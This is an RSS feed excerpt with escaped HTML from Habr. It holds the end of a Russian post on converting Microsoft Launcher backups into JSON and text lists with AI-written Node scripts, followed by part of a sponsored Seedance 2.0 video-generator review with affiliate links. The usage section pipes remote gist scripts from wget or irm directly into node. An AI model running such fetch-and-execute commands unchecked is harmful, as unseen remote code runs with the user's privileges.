№3: строки, которые на самом деле JSON&lt;/h4&gt;&lt;p&gt;Пример:&lt;pre&gt;&lt;code class=json&gt;{&#xA;  &amp;#34;someField&amp;#34;: &amp;#34;{\&amp;#34;nested\&amp;#34;: {\&amp;#34;image\&amp;#34;: \&amp;#34;base64...\&amp;#34;}}&amp;#34;&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Тут нейросеть сдалась. Детект JSON Statham’а писал сам, нейронка чисто причесала его:&lt;ol&gt;&lt;li&gt;&lt;p&gt;эвристика: строка начинается с &lt;code&gt;{&lt;/code&gt; или &lt;code&gt;[&lt;/code&gt; и заканчивается соответственно;&lt;li&gt;&lt;p&gt;попытка &lt;code&gt;JSON.parse&lt;/code&gt;;&lt;li&gt;&lt;p&gt;дальше рекурсивно:&lt;ul&gt;&lt;li&gt;&lt;p&gt;либо сериализовать в строку (сохраняя оригинальную схему),&lt;li&gt;&lt;p&gt;либо “развернуть” в объект (&lt;code&gt;--unwrap-strings&lt;/code&gt;).&lt;/ul&gt;&lt;/ol&gt;&lt;p&gt;Это сильно усложнило алгоритм, но без этого половина мусора оставалась внутри.&lt;/p&gt;&lt;a class=anchor id=heading-1-3-4&gt;&lt;/a&gt;&lt;h4&gt;Проблема №4: контроль агрессивности очистки&lt;/h4&gt;&lt;p&gt;Посмотрел - а там иконки, на самом деле, и не такие уж и большие, можно их оставить.&lt;p&gt;Поэтому добавлены параметры, цитирую:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;--min-bytes&lt;/code&gt; - минимальный размер blob, который считаем «мусором»;&lt;li&gt;&lt;p&gt;&lt;code&gt;--keys&lt;/code&gt; - фильтр по именам полей (&lt;code&gt;image&lt;/code&gt;, &lt;code&gt;icon&lt;/code&gt;, &lt;code&gt;avatar&lt;/code&gt; и т. д.);&lt;li&gt;&lt;p&gt;&lt;code&gt;--remove-array-element&lt;/code&gt; - удалять элемент массива полностью, а не заменять на &lt;code&gt;null&lt;/code&gt;.&lt;/ul&gt;&lt;p&gt;Это делает скрипт настраиваемым под разные форматы данных.&lt;details class=spoiler&gt;&lt;summary&gt;Иконки остаются нетронутыми:&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/32/ac/c3/32acc3b1f84299d7769aa49e5a8586d7.png alt=base64 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/32/ac/c3/32acc3b1f84299d7769aa49e5a8586d7.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/32/ac/c3/32acc3b1f84299d7769aa49e5a8586d7.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;base64&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;a class=anchor id=heading-1-4&gt;&lt;/a&gt;&lt;h3&gt;3. Разработка скрипта конвертации&lt;/h3&gt;&lt;p&gt;Хорошо, мы почистили это месиво от лишнего мусора. Теперь задача - вытащить из него ровно то, ради чего всё это затевалось: структуру экранов, папок и приложений.&lt;/p&gt;&lt;a class=anchor id=heading-1-4-1&gt;&lt;/a&gt;&lt;h4&gt;Что вообще есть в бекапе&lt;/h4&gt;&lt;p&gt;Если открыть очищенный JSON и немного в него потыкать, быстро становится понятно, что нас интересуют два массива:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;KeyForAllDesktopFolders&lt;/code&gt; - список папок;&lt;li&gt;&lt;p&gt;&lt;code&gt;KeyForAllDesktopShortcuts&lt;/code&gt; - список ярлыков.&lt;/ul&gt;&lt;p&gt;Причём связь между ними плоская: ярлыки лежат отдельно и просто ссылаются на контейнер (то есть папку) через поле &lt;code&gt;container&lt;/code&gt;.&lt;p&gt;Соответственно, схема такая:&lt;ul&gt;&lt;li&gt;&lt;p&gt;есть папка с &lt;code&gt;id&lt;/code&gt;;&lt;li&gt;&lt;p&gt;есть куча ярлыков, у которых &lt;code&gt;container === id папки&lt;/code&gt;.&lt;/ul&gt;&lt;p&gt;ОK, основной каркас есть, пошли дальше собирать инфу о бекапе Microsoft Launcher.&lt;/p&gt;&lt;a class=anchor id=heading-1-4-2&gt;&lt;/a&gt;&lt;h4&gt;Проблема: где тут вообще приложение&lt;/h4&gt;&lt;p&gt;Самый неприятный момент - это извлечение package name приложения.&lt;p&gt;Он лежит не в отдельном поле, а внутри строки &lt;code&gt;intent&lt;/code&gt;. Причём формат может отличаться. Встречаются варианты:&lt;pre&gt;&lt;code&gt;#Intent;...;component=com.example.app/.MainActivity;end&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;или&lt;pre&gt;&lt;code&gt;Intent { ... cmp=com.example.app/.MainActivity }&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;или вообще что-то третье.&lt;p&gt;То есть это не JSON, не структура, а просто строка, которую нужно парсить регулярками. ОК, парсим… ты давай, генерируй-генерируй, не захлебнись…&lt;details class=spoiler&gt;&lt;summary&gt;Вот метод&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code&gt;function parsePackageFromIntent(intent) {&#xA;  if (!intent || typeof intent !== &amp;#39;string&amp;#39;) return null;&#xA;  // Pattern 1: URI-style &amp;#34;#Intent;...;component=com.pkg/.Activity;end&amp;#34;&#xA;  let m = intent.match(/(?:component=)([^\/;\s]+)\//);&#xA;  if (m &amp;amp;&amp;amp; m[1]) return m[1];&#xA;  // Pattern 2: &amp;#34;Intent { ... cmp=com.pkg/.Activity }&amp;#34;&#xA;  m = intent.match(/(?:\bcmp=)([^\/\s}]+)\//);&#xA;  if (m &amp;amp;&amp;amp; m[1]) return m[1];&#xA;  // Pattern 3: &amp;#34;cmp=com.pkg/.Something&amp;#34; (fallback parsing)&#xA;  m = intent.match(/\bcmp=([^\s;}]+)/);&#xA;  if (m &amp;amp;&amp;amp; m[1]) return m[1].split(&amp;#39;/&amp;#39;)[0];&#xA;  // Pattern 4: &amp;#34;package=com.pkg&amp;#34;&#xA;  m = intent.match(/\bpackage=([^\s;]+)/);&#xA;  if (m &amp;amp;&amp;amp; m[1]) return m[1];&#xA;  return null;&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;В итоге пришлось сделать несколько паттернов:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;component=com.pkg/...&lt;/code&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;cmp=com.pkg/...&lt;/code&gt;&lt;li&gt;&lt;p&gt;fallback на &lt;code&gt;package=com.pkg&lt;/code&gt;&lt;/ol&gt;&lt;p&gt;Если ни один не сработал, то считаем, что пакет неизвестен, выкидываем фуфло.&lt;/p&gt;&lt;a class=anchor id=heading-1-4-3&gt;&lt;/a&gt;&lt;h4&gt;Как выглядит JSON-вывод&lt;/h4&gt;&lt;p&gt;Логика в итоге довольно простая:&lt;ol&gt;&lt;li&gt;&lt;p&gt;берём список папок;&lt;li&gt;&lt;p&gt;индексируем ярлыки по &lt;code&gt;container&lt;/code&gt;;&lt;li&gt;&lt;p&gt;для каждой папки:&lt;ul&gt;&lt;li&gt;&lt;p&gt;находим все ярлыки с нужным &lt;code&gt;container&lt;/code&gt;;&lt;li&gt;&lt;p&gt;вытаскиваем из них &lt;code&gt;package&lt;/code&gt; и &lt;code&gt;title&lt;/code&gt;;&lt;li&gt;&lt;p&gt;собираем в итоговую структуру.&lt;/ul&gt;&lt;/ol&gt;&lt;p&gt;Получается примерно такая модель:&lt;pre&gt;&lt;code class=json&gt;{&#xA;  &amp;#34;folderId&amp;#34;: 123,&#xA;  &amp;#34;folderTitle&amp;#34;: &amp;#34;Мессенджеры&amp;#34;,&#xA;  &amp;#34;screenId&amp;#34;: 0,&#xA;  &amp;#34;items&amp;#34;: [&#xA;    {&#xA;      &amp;#34;package&amp;#34;: &amp;#34;org.telegram.messenger&amp;#34;,&#xA;      &amp;#34;title&amp;#34;: &amp;#34;Telegram&amp;#34;&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Ничего лишнего. Остальные поля всё равно от лаунчера к лаунчеру разня́тся…&lt;h4&gt;Теперь человекочитаемый формат&lt;/h4&gt;&lt;p&gt;Поэтому второй выход - обычный текст. Тут магии нет, тупо маппинг:&lt;pre&gt;&lt;code&gt;• Folder &amp;#34;Мессенджеры&amp;#34; [id=123, screen=0] - 5 item(s)&#xA;   - Telegram  &amp;lt;org.telegram.messenger&amp;gt;&#xA;   - WhatsApp  &amp;lt;com.whatsapp&amp;gt;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;a class=anchor id=heading-1-5&gt;&lt;/a&gt;&lt;h3&gt;Краткая инструкция для использования:&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Очищаем бекап от мусора:&lt;/ol&gt;&lt;p&gt;Bash:&lt;pre&gt;&lt;code class=bash&gt;wget -qO- https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - ./launcher_backup_main.json ./cleaned.json --unwrap-strings&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;PowerShell:&lt;pre&gt;&lt;code class=powershell&gt;irm https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - .\launcher_backup_main.json .\cleaned.json --unwrap-strings&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Конвертируем в нужный формат:&lt;/ol&gt;&lt;p&gt;Bash:&lt;pre&gt;&lt;code class=bash&gt;wget -qO- https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - ./cleaned.json --json-out ./list.json --text-out ./list.txt&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;PowerShell:&lt;pre&gt;&lt;code class=powershell&gt;irm https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - .\cleaned.json --json-out .\list.json --text-out .\list.txt&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Ну или всё сразу:&lt;p&gt;Bash:&lt;pre&gt;&lt;code class=bash&gt;wget -qO- https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - ./launcher_backup_main.json ./cleaned.json --unwrap-strings&#xA;wget -qO- https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - ./cleaned.json --json-out ./list.json --text-out ./list.txt&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;PowerShell:&lt;pre&gt;&lt;code class=powershell&gt;irm https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - .\launcher_backup_main.json .\cleaned.json --unwrap-strings&#xA;irm https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - .\cleaned.json --json-out .\list.json --text-out .\list.txt&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;details class=spoiler&gt;&lt;summary&gt;Получается всё довольно красиво:&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/de/25/55/de2555d3b3592ca25ef87f16b4cd20a5.jpg alt=JSON sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/de/25/55/de2555d3b3592ca25ef87f16b4cd20a5.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/webt/de/25/55/de2555d3b3592ca25ef87f16b4cd20a5.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;JSON&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/1c/ee/a8/1ceea8f07985f32a38e35fb7442a8515.jpg alt=TXT sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/1c/ee/a8/1ceea8f07985f32a38e35fb7442a8515.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/webt/1c/ee/a8/1ceea8f07985f32a38e35fb7442a8515.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;TXT&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;a class=anchor id=heading-1-6&gt;&lt;/a&gt;&lt;h3&gt;Вывод&lt;/h3&gt;&lt;p&gt;Фуф, навайбкодил. Подписка, купленная на честные $20, вполне себя оправдала. Но ушло на это 5 диалогов, так как нейросеть где-то на 10 сообщении уже начинает плыть. Системный промпт особо не помогал, ну и зачем он нужен, когда он распространяется на все диалоги, а мне нужно только на конкретно эти пять? Придумали бы общий контекст для диалогов, тег какой-нибудь общий или папку… Ушло на всё про всё пять дней, так как дебаг сгенерированного кода - дело небыстрое.&lt;p&gt;Два скрипта сделаны не просто так, а потому что первый из них - JSON Media Cleaner - это универсальный инструмент, который может пригодиться не только для Microsoft Launcher, но и для других случаев, когда нужно очистить JSON от мусора. Он может быть полезен для любых бекапов, которые содержат закодированные данные.&lt;p&gt;Ну, а второй пусть кушает очищенный от первого скрипта JSON и выдаёт уже конкретно структуру домашнего экрана. Он уже специфичный для Microsoft Launcher.&lt;p&gt;В результате получаем:&lt;ul&gt;&lt;li&gt;&lt;p&gt;компактный JSON;&lt;li&gt;&lt;p&gt;удобный текстовый файл.&lt;/ul&gt;&lt;p&gt;А дальше уже можно делать что угодно:&lt;ul&gt;&lt;li&gt;&lt;p&gt;переносить вручную;&lt;li&gt;&lt;p&gt;писать конвертер под другой лаунчер;&lt;li&gt;&lt;p&gt;или просто хранить это как документацию своего сетапа.&lt;/ul&gt;&lt;p&gt;Таким образом, мы &lt;em&gt;(“кто мы-то &amp;lt;…&amp;gt;, я один здесь на**й!” © Зелёный слоник)&lt;/em&gt; решили задачу получения текстового и машиночитаемого представления из Microsoft Launcher, несмотря на все приколы с его бекапами. Теперь у нас есть инструмент, который может помочь нам сохранить и перенести нашу домашнюю экранную конфигурацию в будущем.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Kenya-West</author>
      <guid>https://habr.com/ru/articles/1024832/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024832</guid>
      <pubDate>Fri, 17 Apr 2026 17:40:55 +0000</pubDate>
    </item>
    <item>
      <title>Генератор видео Seedance 2.0: Обзор нейросети, гайд по промптам, способы доступа из России</title>
      <link>https://habr.com/ru/companies/studyai/articles/1024828/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024828</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Полный разбор нейросети Seedance 2.0 от ByteDance. Узнайте, как генерировать реалистичные видео со звуком, писать промпты и работать с ИИ в России.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c84/f00/eda/c84f00eda8134f5807e738b5d6a6651c.png width=1773 height=974 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c84/f00/eda/c84f00eda8134f5807e738b5d6a6651c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c84/f00/eda/c84f00eda8134f5807e738b5d6a6651c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Генерация роликов вслепую осталась в прошлом. Весной 2026 года ByteDance выкатила Seedance 2.0, превратив алгоритм в полноценный режиссерский пульт. Теперь мы можем жестко контролировать сцену: фиксировать лица через исходники, прописывать траекторию камеры и управлять нативным звуком, который создается прямо вместе с видеорядом. В этой статье препарируем квадромодальный ввод, разбираем скрытые лимиты нейросети, делимся рабочими промптами и показываем, как легко использовать один из лучших генераторов видео из России.&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fseedance&#34;&gt;&lt;strong&gt;🎥 Перейти к генератору видео Seedance 2.0 (доступен из РФ без VPN)&lt;/strong&gt;&lt;/a&gt;&lt;hr&gt;&lt;h2&gt;Возможности Seedance 2.0, лимиты и цензура&lt;/h2&gt;&lt;p&gt;Весной 2026 года Seedance 2.0 задала жесткую планку для индустрии. Модель позволяет генерировать цельные сцены длительностью до 15 секунд за один проход. Оптимальное рабочее разрешение (sweet spot) составляет 1080p — именно в этом формате получается чистая студийная картинка с высокой детализацией текстур.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e2674a3c066202941d47da data-style id=69e2674a3c066202941d47da width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;Уровень контроля над кадром здесь беспрецедентный. Нейросеть отлично понимает физику тяжелых объектов, кинематику человеческого тела и сложные операторские термины. Вы можете максимально точно описывать движения камеры: фокусное расстояние, скорость зума, трекинг за объектом или имитацию дрожащей съемки с рук (handheld). Система также удерживает консистентность — лица, логотипы и детали одежды не &amp;#34;плывут&amp;#34; при повороте головы или смене ракурса.&lt;p&gt;Что касается цензуры, алгоритмы ByteDance работают строго, но логично. Модель категорически отказывается генерировать откровенный NSFW-контент (18+), &amp;#34;слоп&amp;#34; (низовой мусорный контент) и экстремально кровавые сцены. При этом кинематографичные боевые постановки, фехтование, мрачная эстетика или триллеры проходят внутренние фильтры без проблем.&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fseedance&#34;&gt;🎥&lt;strong&gt; Создать свое видео в Seedance 2.0&lt;/strong&gt;&lt;/a&gt;&lt;h2&gt;Нативный звук и продвинутый инструментарий&lt;/h2&gt;&lt;p&gt;Главная победа архитектуры — технология Unified Generation. Большинство алгоритмов прошлого поколения создавали немое кино, звук для которого приходилось подбирать и клеить в видеоредакторах. Seedance генерирует визуальный ряд и аудио одновременно. Система сама создает интершум, лязг металла, шаги по лужам и саундтрек, идеально попадая в тайминги событий на экране.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e2679e3c066202941d480a data-style id=69e2679e3c066202941d480a width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;На практике этот функционал открывает серьезные возможности:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Глубокий Lip-sync:&lt;/strong&gt; Если загрузить портрет и аудиофайл, нейросеть не просто заставит персонажа открывать рот. Она проанализирует аудио, учтет микровибрации, дыхание и подстроит мимику под эмоцию или крик. Поддерживается более восьми языков.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Перенос движений (Video-to-Video):&lt;/strong&gt; Вы можете снять проходку на камеру телефона, загрузить ролик в нейросеть, и алгоритм перенесет вашу пластику на сгенерированного персонажа, перерисовав окружение в любой стиль — от аниме до кибер-эстетики.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Внутренний монтаж:&lt;/strong&gt; В рамках 15-секундного лимита алгоритм способен самостоятельно делать логичные режиссерские склейки. Например, начать сцену с общего плана города и плавно перейти на крупный план лица героя.&lt;/ul&gt;&lt;p&gt;Протестировать весь этот функционал без сложных настроек, поиска рабочих VPN-сервисов и оформления зарубежных банковских карт можно через удобный агрегатор нейросетей Study AI. Это оптимальная точка входа для пользователей из России. Платформа дает доступ к передовым моделям в понятном интерфейсе, позволяя сразу перейти к практике и созданию собственных проектов.&lt;hr&gt;&lt;h2&gt;Полный процесс генерации видео в Seedance 2.0 и гайд по промптам&lt;/h2&gt;&lt;p&gt;Создание ролика здесь похоже на увлекательную игру в режиссера. Чтобы получить предсказуемый результат, нужно понимать логику работы системы.&lt;h3&gt;Шаг 1: Подготовка референсов (Сбор материалов)&lt;/h3&gt;&lt;p&gt;Текст - это хорошо, но исходные файлы дают максимальный контроль. Модель работает по правилу 12 слотов. Вы можете загрузить до 9 изображений, до 3 видео (каждое не длиннее 15 секунд) и до 3 аудиофайлов (тоже до 15 секунд).&lt;p&gt;Отличный совет для старта: не ищите готовые картинки в сети. Создайте идеальный стартовый кадр в мощной текстовой модели. Например, используйте &lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_2&#34;&gt;&lt;strong&gt;Nano Banana 2&lt;/strong&gt;&lt;/a&gt;, чтобы сгенерировать безупречную композицию или уникального персонажа. Полученное изображение загружайте в Seedance 2.0 как базу для дальнейшего оживления. Вы также можете загрузить собственное видео с камеры телефона, чтобы перенести с него нужную траекторию движения объекта или камеры.&lt;h3&gt;Шаг 2: Написание промпта (Рабочий синтаксис)&lt;/h3&gt;&lt;p&gt;Забудьте про длинные литературные описания, который любит Veo 3.1 и прекрасно понимала Sora 2. В Seedance 2.0 работает строгая структура.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Синтаксис тегов @Asset:&lt;/strong&gt; Вы напрямую указываете нейросети, как использовать загруженные файлы. Например: &amp;#34;Взять внешность персонажа из @Image1, физику движения камеры перенести из @Video1, а темп сцены выстроить по ритму @Audio1&amp;#34;.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Формула идеального кадра:&lt;/strong&gt; Стройте запрос логически. Сначала Объект (описание героя) -&amp;gt; затем Действие (физические глаголы) -&amp;gt; Камера (крупность плана и движение объектива) -&amp;gt; Стиль (освещение и текстуры).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Таймлайн-управление:&lt;/strong&gt; Для сложных сцен прописывайте тайминг. &amp;#34;0-4 сек: Общий план, герой идет по улице. 4-9 сек: Крупный план лица, герой улыбается&amp;#34;.&lt;/ul&gt;&lt;h4&gt;Продвинутые механики: Точечные референсы и бесшовное продление (Seamless Extension)&lt;/h4&gt;&lt;p&gt;Когда базовой формулы становится недостаточно, включается глубокая работа с исходниками. Опыт профильных платформ для автоматизированного видеомонтажа (таких как CrePal) показывает, что нейросеть великолепно понимает уточнения на естественном языке. Вы можете буквально &amp;#34;разбирать&amp;#34; загруженные файлы на запчасти прямо внутри текстового запроса.&lt;p&gt;Допустим, вы добавили референсный ролик, где машина едет по ночному городу под дождем. Вам не нужна сама машина, вам нужен только стиль съемки и атмосфера. Вы прописываете: &amp;#34;Взять из @Video1 исключительно эффект капель на объективе и физику дрожания камеры, применить это к объекту из @Image1&amp;#34;. Алгоритм вытащит только нужные визуальные эффекты, полностью проигнорировав оригинальный автомобиль и фон.&lt;p&gt;Вторая крутая возможность — функция бесшовного продолжения видео. Если сгенерированный фрагмент получился удачным, но обрывается на самом интересном месте, его можно загрузить обратно как базу. Вы указываете желаемое количество дополнительных секунд, и система дорисовывает сцену дальше. При этом сохраняется идеальная непрерывность: от траектории шага до освещения и складок на одежде персонажа. Важный технический нюанс: длина новой генерации должна строго соответствовать времени желаемого расширения сцены.&lt;h3&gt;Шаг 3: Генерация и результат&lt;/h3&gt;&lt;p&gt;После отправки запроса система выдает короткие драфты (от 8 до 15 секунд) с уже встроенным звуком. Вам остается только оценить плавность физики и консистентность деталей.&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=ec81d1106450c353&amp;amp;erid=2SDnjdV5zmo&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fseedance&#34;&gt;&lt;strong&gt;🎥 Сгенерировать видео в Seedance 2.0&lt;/strong&gt;&lt;/a&gt;&lt;hr&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e267b742c0bc03ac294930 data-style id=69e267b742c0bc03ac294930 width data-habr-games&gt;&lt;/div&gt;&lt;h2&gt;Под капотом Seedance 2.0: Технический разбор для гиков&lt;/h2&gt;&lt;p&gt;Для технически подкованной аудитории будет интересно узнать, как именно достигается такой уровень реализма.&lt;p&gt;Архитектура Dual-Branch позволяет обрабатывать аудио и видео параллельно. Модель считывает микровибрации лица и особенности дыхания из аудиофайла, подстраивая под них мимику генерируемого персонажа. Именно поэтому встроенный звук всегда выглядит органичнее, чем звук, наложенный на этапе постпродакшена.&lt;p&gt;Отдельного внимания заслуживает продвинутый физический движок. Система отлично рассчитывает гравитацию, инерцию и вес объектов. Исчезла проблема &amp;#34;невесомости&amp;#34; предметов, которой страдали ранние генераторы видео.&lt;p&gt;Механика Multi-Shot Storyboarding (нативное мультикадровое планирование) дает модели возможность самой рассчитывать логичные склейки планов. Она может плавно перевести камеру от общего плана к детальному, сохраняя стопроцентную консистентность лиц, текстур одежды и источника света.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e267ce3c066202941d4842 data-style id=69e267ce3c066202941d4842 width data-habr-games&gt;&lt;/div&gt;&lt;h3&gt;Слепые зоны модели и ограничения&lt;/h3&gt;&lt;p&gt;Даже у самых продвинутых алгоритмов есть свои слабости, о которых нужно знать до начала работы.&lt;p&gt;Обращайте внимание на особенности масштабирования. Идеальное разрешение для этой нейросети (ее sweet spot) составляет 1080p. При попытках агрессивного апскейла (искусственного увеличения разрешения) или сильного зуммирования начинают появляться артефакты. Мелкие детали на заднем фоне могут терять четкость, а лица в плотной толпе иногда сливаются.&lt;p&gt;Процент успешных генераций держится на уровне 90%. Иногда случаются сбои при расчете сложной анатомии, например, при переплетении пальцев во время рукопожатия.&lt;p&gt;Также встроены фильтры безопасности, которые надежно защищают платформу от создания неприемлемого контента и сцен жестокости.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/69e267ec80609702592c8e8a data-style id=69e267ec80609702592c8e8a width data-habr-games&gt;&lt;/div&gt;&lt;h3&gt;Сравнение с конкурентами: Какая нейросеть лучше справляется с 